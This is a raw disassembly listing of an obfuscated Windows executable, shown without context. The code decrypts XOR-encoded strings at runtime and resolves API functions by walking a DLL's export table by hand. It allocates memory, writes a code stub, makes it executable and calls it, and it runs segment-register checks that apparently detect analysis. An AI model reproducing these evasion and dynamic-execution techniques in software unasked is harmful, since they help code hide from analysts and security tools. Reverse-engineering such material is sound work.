jne 0x140056d37
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], Ordinal_60
mov r10, r14
movabs rbx, 0x110800a91
movabs r8, 0x121880b3b2
lea r11d, [rax + 0x11]
movabs r9, 0x2431016764
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140056c09
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x140121e70]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x140121d60]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xdb5f
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x486202cec8
cmp r9, rax
jb 0x140056ca5
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400c65b8
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x140148010], r14
jne 0x140056d79
mov ecx, 0x26b0
call fcn.1400cae7c
test rax, rax
je 0x140056d79
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140148010], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x140121e40]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140060dc0
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x140056db8
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x140148010]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x140056ed4
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140056e8c
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400cae7c
mov rsi, rax
test rax, rax
je 0x140056ed1
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140148010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400e9070
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400e9710
mov rcx, rdi
call fcn.1400cad58
mov qword [0x140148010], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_26
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140060cd8
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x140056ef5
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x140148010]
test rbx, rbx
je 0x140056fff
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140056fb9
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400cae7c
mov rsi, rax
test rax, rax
je 0x140056ffc
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140148010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400e9070
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400e9710
mov rcx, rdi
call fcn.1400cad58
mov qword [0x140148010], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x140057092
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140057092
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140057092
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140057092
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140057092
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140057085
inc rax
test edi, edi
jne 0x140057070
test r8d, r8d
je 0x140057109
inc rdx
cmp rdx, rsi
jb 0x14005705f
mov esi, r14d
mov rdi, qword [0x140148010]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x1400572dd
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400572ca
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400572ca
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14005728f
xor edx, edx
call fcn.1400e9710
jmp 0x1400572c8
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140057092
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x14005712d
xor r14d, r14d
jmp 0x140057092
mov r9d, 4
mov r8d, 0x3000
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400bf5f0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14006189c
lea rcx, [rbp + 0x87b0]
call fcn.140060e34
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.140060e34
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400571a1
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400e9070
mov dword [0x14013cac4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x14013cac0]
movsd qword [rdi], xmm0
movzx eax, word [0x14013cac8]
mov word [rdi + 8], ax
mov al, byte [0x14013caca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8, r12
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400e9710
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x14013cac4], r14d
jmp 0x140057095
cmp al, 1
jne 0x1400572ca
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140061604
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.1400617b8
lea rcx, [rbp + 0x1168]
call fcn.140061748
lea rcx, [rbp + 0x1168]
call fcn.140014728
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x1400570be
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400e9710
mov rcx, rdi
call fcn.1400cad58
xor r15d, r15d
mov qword [0x140148010], r15
test esi, esi
js 0x14005f78a
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14005f78a
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400cae7c
test rax, rax
je 0x140057340
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x140148010], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x140121e40]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140060dc0
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140057383
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x140148010]
test rbx, rbx
je 0x1400574aa
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140057456
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400cae7c
mov rsi, rax
test rax, rax
je 0x14005749d
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140148010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400e9070
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400e9710
mov rcx, rdi
call fcn.1400cad58
mov qword [0x140148010], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_26
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400574a0
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140060cd8
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x1400574c1
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x140148010]
test rbx, rbx
je 0x1400575d0
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140057588
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400cae7c
mov rsi, rax
test rax, rax
je 0x1400575cd
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140148010]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400e9070
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400e9710
mov rcx, rdi
call fcn.1400cad58
mov qword [0x140148010], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400575d0
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140057661
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140057661
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140057661
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140057661
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140057661
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140057650
inc rax
test edi, edi
jne 0x14005763b
test r8d, r8d
je 0x1400576df
inc rdx
cmp rdx, rsi
jb 0x14005762a
mov esi, r15d
mov rdi, qword [0x140148010]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x1400578af
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14005789c
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14005789c
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x140057862
xor edx, edx
mov rcx, rax
call fcn.1400e9710
jmp 0x14005789c
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140057661
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140057661
cmp cl, 1
jne 0x14005789c
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.140061604
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.1400617b8
lea rcx, [rbp + 0x1148]
call fcn.140061748
lea rcx, [rbp + 0x1148]
call fcn.140014728
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140057691
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400e9710
mov rcx, rdi
call fcn.1400cad58
mov qword [0x140148010], r13
test esi, esi
js 0x14005f5f9
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14005f5f9
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x14005795f
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x1400579d8
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x1400579ba
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x140057a74
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140057aec
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], Ordinal_60
mov r10, r13
movabs rbx, 0x110800a92
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x121880b3b2
movabs r9, 0x2431016764
movabs r14, 0x110800a91
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14005f64d
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x140121bc0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x39a988e0
mov dword [rbp + 0x96c], 0xa6e5dc87
mov dword [rbp + 0x970], 0x9cb7281f
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x1dce0127f8
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x3b9c024ff0
cmp r9, rax
jb 0x14005f6f8
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], Ordinal_60
mov r10, r15
movabs rbx, 0x110800a92
movabs rsi, 0x8080808080808081
movabs r8, 0x121880b3b2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2431016764
movabs r14, 0x110800a91
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14005f7de
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x140121b30]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xf66ad702
mov word [rbp + 0x754], 0xaf
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x165a80ddfa
movabs r10, 0x2cb501bbf4
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14005f882
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400c65b8
int3
cmp rax, rbx
jne 0x14005f9c8
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005f9a8
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005f9a8
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005f9c8
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], Ordinal_60
mov r10, r14
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x121880b3b2
movabs r9, 0x2431016764
movabs r15, 0x110800a91
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14005fa12
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x140121d30]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x3e2ec150
mov dword [rbp + 0x82c], 0x687255
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x187b80f31e
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x30f701e63c
cmp r9, rax
jb 0x14005faad
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2b]
cmp rax, rbx
jne 0x14005fbe3
mov rax, qword gs:[0x26]
mov ecx, 0xe04aa78f
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005fbc3
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005fbc3
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005fbe3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rbx
jne 0x140060287
mov rax, qword gs:[0x26]
movabs rcx, 0xe742c5c04d18e104
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005fc7b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005fc7b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060287
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], Ordinal_60
mov r10, r15
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x121880b3b2
movabs r9, 0x2431016764
movabs r14, 0x110800a91
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14005fce5
mov byte [rbp + 0x379], r15b
